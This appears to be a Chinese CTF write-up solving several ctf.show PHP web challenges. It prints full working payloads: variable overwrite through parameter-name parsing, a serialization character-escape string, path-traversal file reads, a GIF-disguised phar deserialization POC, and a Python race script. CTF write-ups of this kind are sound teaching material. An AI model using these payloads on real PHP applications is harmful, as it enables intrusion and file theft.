veryphp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| <?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
|
很久没看到这种RCE了,拆开看
1
2
3
4
5
6
| $str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
|
参数可以用POST传入,并且如果绕过可以进行变量覆盖,
1
2
3
4
5
6
7
8
9
10
| if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
|
可以得到hint,不过应该不重要吧,
1
2
3
4
| if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
|
看到最后,giao,看来是必须要得到hint了,这个参数应该是hint里面的,然后再利用参数覆盖就可以调用函数进行RCE了
1
| ^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$
|
把这个放正则里面测试,最后写出来这个是可以的
1
| -a9<b>1>>>>tRRRRRRRabcphp@Rsa
|
然后传参就一个小解析特性而已,不说了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| POST / HTTP/1.1
Host: d82012c8-3430-4aee-9daa-271ed69283b6.challenge.ctf.show
Cookie: cf_clearance=njVuk6n3fG3iSfBdyNxTY8aBmiHIDhmhGjnalU3VDPE-1737030214-1.2.1.1-7fxjfOWKiHRDB9.m_470KRzQlTAabq1_HzyYhWoVihUBTfmp8B0cMGW.FclTmK9B2gKeoMVuUhkd9SOR70cRFon2SiLfmQkDMNguB2N1OtjR2qHRmaw0scIEgiL36I0fz0Wag7gIPjWsz13SIvJMvUEYyi4dGqw9nk8ZqyLzPVYOryUmWxbBhNupy9FG_0YX.C.8Qej4hNZFYL90ATPgQVwMjl7mLQZpg8q8_bKtKLwfioH2SNpCVr_sZL0TIQ1fM2hVjM3Biufjh67Eg5Q._RgvWuFJduvj2zhH2e9WEok
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://d82012c8-3430-4aee-9daa-271ed69283b6.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
shaw[root=-a9<b>1>>>>tRRRRRRRabcphp@Rsa
|
然后得到hint
1
| Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
|
写个脚本给解了
1
2
3
4
5
6
7
8
9
10
| import hashlib
import re
a = 'shaw'
b = 'root'
for i in range(10000, 99999):
string = a + str(i) + b
md5 = hashlib.md5(string.encode('utf-8')).hexdigest()
if(re.findall("166b47a5cb1ca2431a0edfcef200684f", md5)):
print(i)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| POST / HTTP/1.1
Host: d82012c8-3430-4aee-9daa-271ed69283b6.challenge.ctf.show
Cookie: cf_clearance=njVuk6n3fG3iSfBdyNxTY8aBmiHIDhmhGjnalU3VDPE-1737030214-1.2.1.1-7fxjfOWKiHRDB9.m_470KRzQlTAabq1_HzyYhWoVihUBTfmp8B0cMGW.FclTmK9B2gKeoMVuUhkd9SOR70cRFon2SiLfmQkDMNguB2N1OtjR2qHRmaw0scIEgiL36I0fz0Wag7gIPjWsz13SIvJMvUEYyi4dGqw9nk8ZqyLzPVYOryUmWxbBhNupy9FG_0YX.C.8Qej4hNZFYL90ATPgQVwMjl7mLQZpg8q8_bKtKLwfioH2SNpCVr_sZL0TIQ1fM2hVjM3Biufjh67Eg5Q._RgvWuFJduvj2zhH2e9WEok
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://d82012c8-3430-4aee-9daa-271ed69283b6.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
shaw[root=-a9<b>1>>>>tRRRRRRRabcphp@Rsa&ans=21475&my[ans=qwq::oao
|
spaceman
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| <?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?> wrong password
|
由多变少的字符逃逸,但是很明显的一个非预期呀,因为他的复制是利用php://input
,可以直接赋值函数里面的参数即可
1
| user%20name=1&pass%20word=ctfshowvip
|
不过还是看看预期吧,其实也是一个非常简单的题目
1
2
3
4
5
6
7
8
9
| <?php
class spaceman
{
public $username="baozongwi";
public $password="ctfshowvip";
}
$a=new spaceman();
echo serialize($a);
/*O:8:"spaceman":2:{s:8:"username";s:9:"baozongwi";s:8:"password";s:10:"ctfshowvip";}
|
每次放进去就会吃掉两个字符
1
2
3
4
5
6
| user%20name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass%20word=";s:8:"password";s:10:"ctfshowvip";}
O:8:"spaceman":2:{s:8:"username";s:162:"ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:"password";s:36:"";s:8:"password";s:10:"ctfshowvip";}";}
ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup
";s:8:"password";s:10:"ctfshowvip";}
|
随便写个poc输进去,然后找到需要逃逸的部分,并且算出要补多少
1
2
3
| print(len('";s:8:"password";s:36:"'))
# 23然后我们补上1即可为倍数
print("ctfshowup"*12)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| POST / HTTP/1.1
Host: 31f65904-59be-463f-b1ff-4d928a4a7472.challenge.ctf.show
Cookie: cf_clearance=mN0V63zE.kJsdST4knc8A3Qjqv6kfhldDTFbKHQRG_I-1737033078-1.2.1.1-8O53Qx5bfvQqBGzaVPf83B9ZY_a6.LYEtlXNzhCbRjeHHiB542uVZvOObzOhNLWp..bPGvGPVSeeLbKCjF7bQ5kAVJMcXEWfq8kZs9Vpv1d_6ZYVxKQO7G_QxHdSNHYAaSOKvbkfcSar9f7Ml8Kr181w9WlSlszDZwosnRNd0gsXgEPXvKoLlU4oT2vl7zLGp_5fhui8D65jqm1YIib1gzTgj_B6E7tfSeBKrk2hfkRYJiK3jFAVEA_uPEqwZxs6HdQ0SFkoSXXoj8JNT4GTCfAFM6TxIeXK_Hv9Uk3G3aA
Cache-Control: max-age=0
Sec-Ch-Ua: "Not A(Brand";v="8", "Chromium";v="132", "Google Chrome";v="132"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://31f65904-59be-463f-b1ff-4d928a4a7472.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=0, i
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 170
user%20name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass%20word=1";s:8:"password";s:10:"ctfshowvip";}
|
成功
虎山行
进来之后发现emm这个东西,是空白,可能是个大型网站,先扫一下
1
2
3
4
5
6
7
| [09:11:19] 200 - 5KB - /install.php
[09:11:19] 200 - 5KB - /install.php?profile=default
[09:11:39] 200 - 1KB - /README.md
[09:11:53] 301 - 169B - /upload -> http://8d0b36e1-33b6-4d88-bd26-a3d56ecef664.challenge.ctf.show/upload/
[09:11:53] 200 - 0B - /upload/
[09:11:53] 200 - 324B - /upload.php
[09:12:00] 200 - 48KB - /www.rar
|
拿到源码之后发现代码不是什么大型网站,可以看看嘿,草率的看完了,没发现啥,扔到seay里面静态分析一下,在page-edit.php
里面,128行到131行
1
2
3
4
| else if (isset($_GET['file'])) {
$file_path = '../mc-files/pages/data/'.$_GET['file'];
$data = (file_get_contents($file_path));
|
可以进行任意文件读取,参数没有做任何限制,直接看看能不能读取flag,先install然后读取,但是不得不说安装是真快啊
1
| /mc-admin/page-edit.php?file=../../../../../../../flag
|
要登录之后才能拿到hint,
1
| flag{fuckflag*********}flag not here maybe You can access ctfshowsecretfilehh directory
|
进行读取确定位置是在网站目录下
1
| /mc-admin/page-edit.php?file=../../../ctfshowsecretfilehh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
highlight_file(__FILE__);
error_reporting(0);
include('waf.php');
class Ctfshow{
public $ctfer = 'shower';
public function __destruct(){
system('cp /hint* /var/www/html/hint.txt');
}
}
$filename = $_GET['file'];
readgzfile(waf($filename));
?>
|
很明显是phar反序列化,找到上传点事gif,这个很好绕过,那么我们再读取一下waf,别说这个路径是真不好找
1
| /mc-admin/page-edit.php?file=../../../../../../../../var/www/html/ctfshowsecretfilehh/waf.php
|
1
2
3
4
5
6
7
8
| <?php
function waf($file){
if (preg_match("/^phar|smtp|dict|zip|compress|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$file)){
die("姿势太简单啦,来一点骚的?!");
}else{
return $file;
}
}
|
一样的绕过就可以了,写个poc
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
class Ctfshow{
public $ctfer = 'shower';
}
@unlink("phar.phar");
$phar=new Phar("phar.phar");
$phar->startBuffering(); //开缓冲
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>");
$o=new Ctfshow();
$phar->setMetadata($o);
$phar->addFromString("test.txt","test"); // 写入test.txt
$phar->stopBuffering(); //关缓冲
?>
|
1
| /ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/phar.gif
|
结果上传之后发现死活不能触发,去读取一下upload.php
1
| /mc-admin/page-edit.php?file=../../../../../../../../var/www/html/upload.php
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| <?php
error_reporting(0);
// 允许上传的图片后缀
$allowedExts = array("gif", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
// echo $_FILES["file"]["size"];
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 2048000) // 小于 2000kb
&& in_array($extension, $allowedExts))
{
if ($_FILES["file"]["error"] > 0)
{
echo "文件出错: " . $_FILES["file"]["error"] . "<br>";
}
else
{
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
$md5_unix_random =substr(md5(time()),0,8);
$filename = $md5_unix_random.'.'.$extension;
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
echo "上传成功,文件存在upload/";
}
}
}
else
{
echo "文件类型仅支持jpg、png、gif等图片格式";
}
|
看来要得到时间,这里看看bp上传得不得行,得到时间之后正常写出来就行
1
2
3
| <?php
$a=substr(md5(strtotime('Fri, 17 Jan 2025 01:44:33 GMT')),0,8);
echo $a;
|
然后触发得到hint
1
2
3
4
| /ctfshowsecretfilehh/?file=zlib:phar:///var/www/html/upload/f00f307d.gif
# hint
flag{fuckflag***}flag also not here You can access ctfshowgetflaghhhh directory
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| <?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
|
这里好像就可以直接得到flag了,直接写脚本进行竞争,password要在线处理
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
class Unser {
public $username = 'ctfshow';
public $password;
public function __construct() {
$this->password = md5(time());
}
}
$a = new Unser();
echo serialize($a);
/*O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"8f736705f7c67d0006d39487f48b539e";}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| import hashlib
import requests
import time
def MD5(str):
h1 = hashlib.md5()
h1.update(str.encode())
return h1.hexdigest()
if __name__ == '__main__':
url = 'http://23bc584d-d7d6-4525-961b-ec207d186fe0.challenge.ctf.show/ctfshowgetflaghhhh/'
while True:
x = MD5(str(int(time.time())))
print(x)
params = {
'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
}
res = requests.get(url=url,params=params)
|
然后访问就可以了
虎山行’s revenge
这里直接从phar文件开始做,只不过这里不用安装了并且文件名换了
1
2
3
| /mc-admin/page-edit.php?file=../../../../../../../../var/www/html/hsxhsxhsxctfshowsecretfilel/waf.php
/hsxhsxhsxctfshowsecretfilel/?file=zlib:phar:///var/www/html/upload/56a8f471.gif
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| import hashlib
import requests
import time
def MD5(str):
h1 = hashlib.md5()
h1.update(str.encode())
return h1.hexdigest()
if __name__ == '__main__':
url = 'http://6ff8235b-cfb1-4bea-8587-e4202921a499.challenge.ctf.show/hsxctfshowsecretgetflagl/'
while True:
x = MD5(str(int(time.time())))
print(x)
params = {
'unser':'O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";s:32:"'+x+'";}'
}
res = requests.get(url=url,params=params)
|
有手就行
这道题设置的有点操作啊,有些好奇,但是估计是写的一个前端监听,就是我第一次直接打开源码没有内容,但是后面打开刷新之后就有base64了,放在厨子里面发现是个base64隐写,用在线网站base64隐写
但是这个东西貌似没有什么用,然后回到刚开始就尝试的文件读取,当时看着没反应,现在知道可以源码里面来隐写了,那么久直接写flag
,拿到一个微信小程序二维码,然后就不会了,后面看到好像是微信小程序逆向,算了不做了,后面还是想做的,然后发现扫了小程序之后有个地方可以get-code
,但是好像emm失败了,因为说小程序已经关了